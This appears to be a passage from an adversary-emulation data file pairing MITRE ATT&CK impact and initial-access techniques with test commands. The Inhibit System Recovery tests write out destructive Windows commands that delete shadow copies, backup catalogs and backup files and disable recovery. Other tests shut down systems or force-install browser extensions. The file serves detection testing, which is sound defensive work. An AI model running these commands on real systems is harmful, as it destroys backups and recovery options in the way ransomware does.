- "description": "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices could include the motherboard, hard drive, or video cards.\n\nIn general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485).",
- "modified": "2022-04-19T23:01:15.945Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Firmware Corruption",
- "x_mitre_detection": "System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Firmware: Firmware Modification"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1490": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Yonatan Gotlib, Deep Instinct"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
- "created": "2019-04-02T13:54:43.136Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1490",
- "url": "https://attack.mitre.org/techniques/T1490"
- },
- {
- "source_name": "FireEye WannaCry 2017",
- "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html",
- "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019."
- },
- {
- "source_name": "Talos Olympic Destroyer 2018",
- "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
- "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe
can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet
\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete
\n* wbadmin.exe
can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet
\n* bcdedit.exe
can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
",
- "modified": "2022-04-19T23:26:59.186Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Inhibit System Recovery",
- "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\n\nMonitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\PreviousVersions\\DisableLocalPage
).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution",
- "Service: Service Metadata",
- "Process: Process Creation",
- "File: File Deletion"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1490"
- },
- "atomic_tests": [
- {
- "name": "Windows - Delete Volume Shadow Copies",
- "auto_generated_guid": "43819286-91a9-4369-90ed-d31fb4da2c01",
- "description": "Deletes Windows Volume Shadow Copies. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon\nexecution, if no shadow volumes exist the message \"No items found that satisfy the query.\" will be displayed. If shadow volumes are present, it\nwill delete them without printing output to the screen. This is because the /quiet parameter was passed which also suppresses the y/n\nconfirmation prompt. Shadow copies can only be created on Windows server or Windows 8.\n\nhttps://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc788055(v=ws.11)\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Create volume shadow copy of C:\\ . This prereq command only works on Windows Server or Windows 8.\n",
- "prereq_command": "if(!(vssadmin.exe list shadows | findstr \"No items found that satisfy the query.\")) { exit 0 } else { exit 1 }\n",
- "get_prereq_command": "vssadmin.exe create shadow /for=c:\n"
- }
- ],
- "executor": {
- "command": "vssadmin.exe delete shadows /all /quiet\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Windows - Delete Volume Shadow Copies via WMI",
- "auto_generated_guid": "6a3ff8dd-f49c-4272-a658-11c2fe58bd88",
- "description": "Deletes Windows Volume Shadow Copies via WMI. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.\nShadow copies can only be created on Windows server or Windows 8.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "wmic.exe shadowcopy delete\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Windows - wbadmin Delete Windows Backup Catalog",
- "auto_generated_guid": "263ba6cb-ea2b-41c9-9d4e-b652dadd002c",
- "description": "Deletes Windows Backup Catalog. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution,\n\"The backup catalog has been successfully deleted.\" will be displayed in the PowerShell session.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "wbadmin delete catalog -quiet\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Windows - Disable Windows Recovery Console Repair",
- "auto_generated_guid": "cf21060a-80b3-4238-a595-22525de4ab81",
- "description": "Disables repair by the Windows Recovery Console on boot. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.\nUpon execution, \"The operation completed successfully.\" will be displayed in the powershell session.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures\nbcdedit.exe /set {default} recoveryenabled no\n",
- "cleanup_command": "bcdedit.exe /set {default} bootstatuspolicy DisplayAllFailures >nul 2>&1\nbcdedit.exe /set {default} recoveryenabled yes >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Windows - Delete Volume Shadow Copies via WMI with PowerShell",
- "auto_generated_guid": "39a295ca-7059-4a88-86f6-09556c1211e7",
- "description": "Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject.\nThis technique is used by numerous ransomware families such as Sodinokibi/REvil.\nExecutes Get-WMIObject. Shadow copies can only be created on Windows server or Windows 8, so upon execution\nthere may be no output displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Windows - Delete Backup Files",
- "auto_generated_guid": "6b1dbaf6-cc8a-4ea6-891f-6058569653bf",
- "description": "Deletes backup files in a manner similar to Ryuk ransomware. Upon exection, many \"access is denied\" messages will appear as the commands try\nto delete files from around the system.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "del /s /f /q c:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Windows - wbadmin Delete systemstatebackup",
- "auto_generated_guid": "584331dd-75bc-4c02-9e0b-17f5fd81c748",
- "description": "Deletes the Windows systemstatebackup using wbadmin.exe. This technique is used by numerous ransomware families. This may only be successful on server platforms that have Windows Backup enabled.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "wbadmin delete systemstatebackup -keepVersions:0\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Windows - Disable the SR scheduled task",
- "auto_generated_guid": "1c68c68d-83a4-4981-974e-8993055fa034",
- "description": "Use schtasks.exe to disable the System Restore (SR) scheduled task\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "schtasks.exe /Change /TN \"\\Microsoft\\Windows\\SystemRestore\\SR\" /disable\n",
- "cleanup_command": "schtasks.exe /Change /TN \"\\Microsoft\\Windows\\SystemRestore\\SR\" /enable >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Disable System Restore Through Registry",
- "auto_generated_guid": "66e647d1-8741-4e43-b7c1-334760c2047f",
- "description": "Modify the registry of the currently logged in user using reg.exe via cmd console to disable system restore on the computer. \nSee how remcos RAT abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\" /v \"DisableConfig\" /t \"REG_DWORD\" /d \"1\" /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\" /v \"DisableSR\" /t \"REG_DWORD\" /d \"1\" /f\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore\" /v \"DisableConfig\" /t \"REG_DWORD\" /d \"1\" /f\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore\" /v \"DisableSR\" /t \"REG_DWORD\" /d \"1\" /f\n",
- "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\" /v \"DisableConfig\" /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\" /v \"DisableSR\" /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore\" /v \"DisableConfig\" /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore\" /v \"DisableSR\" /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1561.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac",
- "type": "attack-pattern",
- "created": "2020-02-20T22:06:41.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1561.001",
- "url": "https://attack.mitre.org/techniques/T1561/001"
- },
- {
- "source_name": "Novetta Blockbuster",
- "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
- "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
- },
- {
- "source_name": "Novetta Blockbuster Destructive Malware",
- "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
- "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
- },
- {
- "source_name": "DOJ Lazarus Sony 2018",
- "url": "https://www.justice.gov/opa/press-release/file/1092091/download",
- "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."
- },
- {
- "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon",
- "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
- "source_name": "Microsoft Sysmon v6 May 2017"
- }
- ],
- "modified": "2020-03-28T22:53:20.162Z",
- "name": "Disk Content Wipe",
- "description": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\
notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Drive: Drive Modification",
- "Driver: Driver Load",
- "Drive: Drive Access",
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM",
- "root",
- "Administrator",
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1529": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc",
- "type": "attack-pattern",
- "created": "2019-10-04T20:42:28.541Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1529",
- "url": "https://attack.mitre.org/techniques/T1529"
- },
- {
- "source_name": "Microsoft Shutdown Oct 2017",
- "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown",
- "description": "Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019."
- },
- {
- "source_name": "alert_TA18_106A",
- "url": "https://www.cisa.gov/uscert/ncas/alerts/TA18-106A",
- "description": "CISA. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved February 14, 2022."
- },
- {
- "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.",
- "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html",
- "source_name": "Talos Nyetya June 2017"
- },
- {
- "source_name": "Talos Olympic Destroyer 2018",
- "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
- "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."
- }
- ],
- "modified": "2022-02-18T21:00:33.705Z",
- "name": "System Shutdown/Reboot",
- "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device.(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006. Unexpected or unauthorized commands from network cli on network devices may also be associated with shutdown/reboot, e.g. the reload
command.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Sensor Health: Host Status",
- "Process: Process Creation"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "root",
- "SYSTEM"
- ],
- "identifier": "T1529"
- },
- "atomic_tests": [
- {
- "name": "Shutdown System - Windows",
- "auto_generated_guid": "ad254fa8-45c0-403b-8c77-e00b3d3e7a64",
- "description": "This test shuts down a Windows system.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "timeout": {
- "description": "Timeout period before shutdown (seconds)",
- "type": "integer",
- "default": 1
- }
- },
- "executor": {
- "command": "shutdown /s /t #{timeout}\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Restart System - Windows",
- "auto_generated_guid": "f4648f0d-bf78-483c-bafc-3ec99cd1c302",
- "description": "This test restarts a Windows system.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "timeout": {
- "description": "Timeout period before restart (seconds)",
- "type": "integer",
- "default": 1
- }
- },
- "executor": {
- "command": "shutdown /r /t #{timeout}\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Logoff System - Windows",
- "auto_generated_guid": "3d8c25b5-7ff5-4c9d-b21f-85ebd06654a4",
- "description": "This test performs a Windows system logoff as seen in [dcrat backdoor capabilities](https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor)\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "shutdown /l \n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- }
- }
- },
- {
- "category": "initial-access",
- "data": {
- "T1133": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "Containers",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "ExtraHop",
- "David Fiser, @anu4is, Trend Micro",
- "Alfredo Oliveira, Trend Micro",
- "Idan Frimark, Cisco",
- "Rory McCune, Aqua Security",
- "Yuval Avrahami, Palo Alto Networks",
- "Jay Chen, Palo Alto Networks",
- "Brad Geesaman, @bradgeesaman",
- "Magno Logan, @magnologan, Trend Micro",
- "Ariel Shuper, Cisco",
- "Yossi Weizman, Azure Defender Research Team",
- "Vishwas Manral, McAfee",
- "Daniel Oakley",
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:44.421Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1133",
- "url": "https://attack.mitre.org/techniques/T1133"
- },
- {
- "external_id": "CAPEC-555",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/555.html"
- },
- {
- "source_name": "MacOS VNC software for Remote Desktop",
- "url": "https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac",
- "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021."
- },
- {
- "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/",
- "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
- "source_name": "Volexity Virtual Private Keylogging"
- },
- {
- "source_name": "Trend Micro Exposed Docker Server",
- "url": "https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html",
- "description": "Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021."
- },
- {
- "source_name": "Unit 42 Hildegard Malware",
- "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
- "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
- }
- ],
- "modified": "2021-08-19T16:57:27.209Z",
- "name": "External Remote Services",
- "description": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nWhen authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.",
- "x_mitre_version": "2.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "Logon Session: Logon Session Metadata",
- "Network Traffic: Network Traffic Flow"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1133"
- },
- "atomic_tests": [
- {
- "name": "Running Chrome VPN Extensions via the Registry 2 vpn extension",
- "auto_generated_guid": "4c8db261-a58b-42a6-a866-0a294deedde4",
- "description": "Running Chrome VPN Extensions via the Registry install 2 vpn extension, please see \"T1133\\src\\list of vpn extension.txt\" to view complete list\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "chrome_url": {
- "description": "chrome installer download URL",
- "type": "url",
- "default": "https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BFD62DDBC-14C6-20BD-706F-C7744738E422%7D%26lang%3Den%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1%26installdataindex%3Dempty/chrome/install/ChromeStandaloneSetup64.exe"
- },
- "extension_id": {
- "description": "chrome extension id",
- "type": "string",
- "default": "\"fcfhplploccackoneaefokcmbjfbkenj\", \"fdcgdnkidjaadafnichfpabhfomcebme\"\n"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Chrome must be installed\n",
- "prereq_command": "if ((Test-Path \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\")) {exit 0} else {exit 1}",
- "get_prereq_command": "Invoke-WebRequest -OutFile $env:temp\\ChromeStandaloneSetup64.exe #{chrome_url}\nStart-Process $env:temp\\ChromeStandaloneSetup64.exe /S\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "$extList = #{extension_id}\nforeach ($extension in $extList) {\n New-Item -Path HKLM:\\Software\\Wow6432Node\\Google\\Chrome\\Extensions\\$extension -Force\n New-ItemProperty -Path \"HKLM:\\Software\\Wow6432Node\\Google\\Chrome\\Extensions\\$extension\" -Name \"update_url\" -Value \"https://clients2.google.com/service/update2/crx\" -PropertyType \"String\" -Force}\nStart chrome\nStart-Sleep -Seconds 30\nStop-Process -Name \"chrome\"\n",
- "cleanup_command": "$extList = #{extension_id}\nforeach ($extension in $extList) {\nRemove-Item -Path \"HKLM:\\Software\\Wow6432Node\\Google\\Chrome\\Extensions\\$extension\" -ErrorAction Ignore}\n"
- }
- }
- ]
- },
- "T1195.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720",
- "created": "2020-03-11T14:13:42.916Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1195.001",
- "url": "https://attack.mitre.org/techniques/T1195/001"
- },
- {
- "source_name": "Trendmicro NPM Compromise",
- "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets",
- "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) \n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ",
- "modified": "2022-04-28T16:03:59.172Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Compromise Software Dependencies and Development Tools",
- "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Metadata"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1192": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux",
- "Office 365",
- "SaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Shailesh Tiwary (Indian Army)",
- "Mark Wee",
- "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
- "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1192",
- "url": "https://attack.mitre.org/techniques/T1192"
- },
- {
- "external_id": "CAPEC-163",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/163.html"
- },
- {
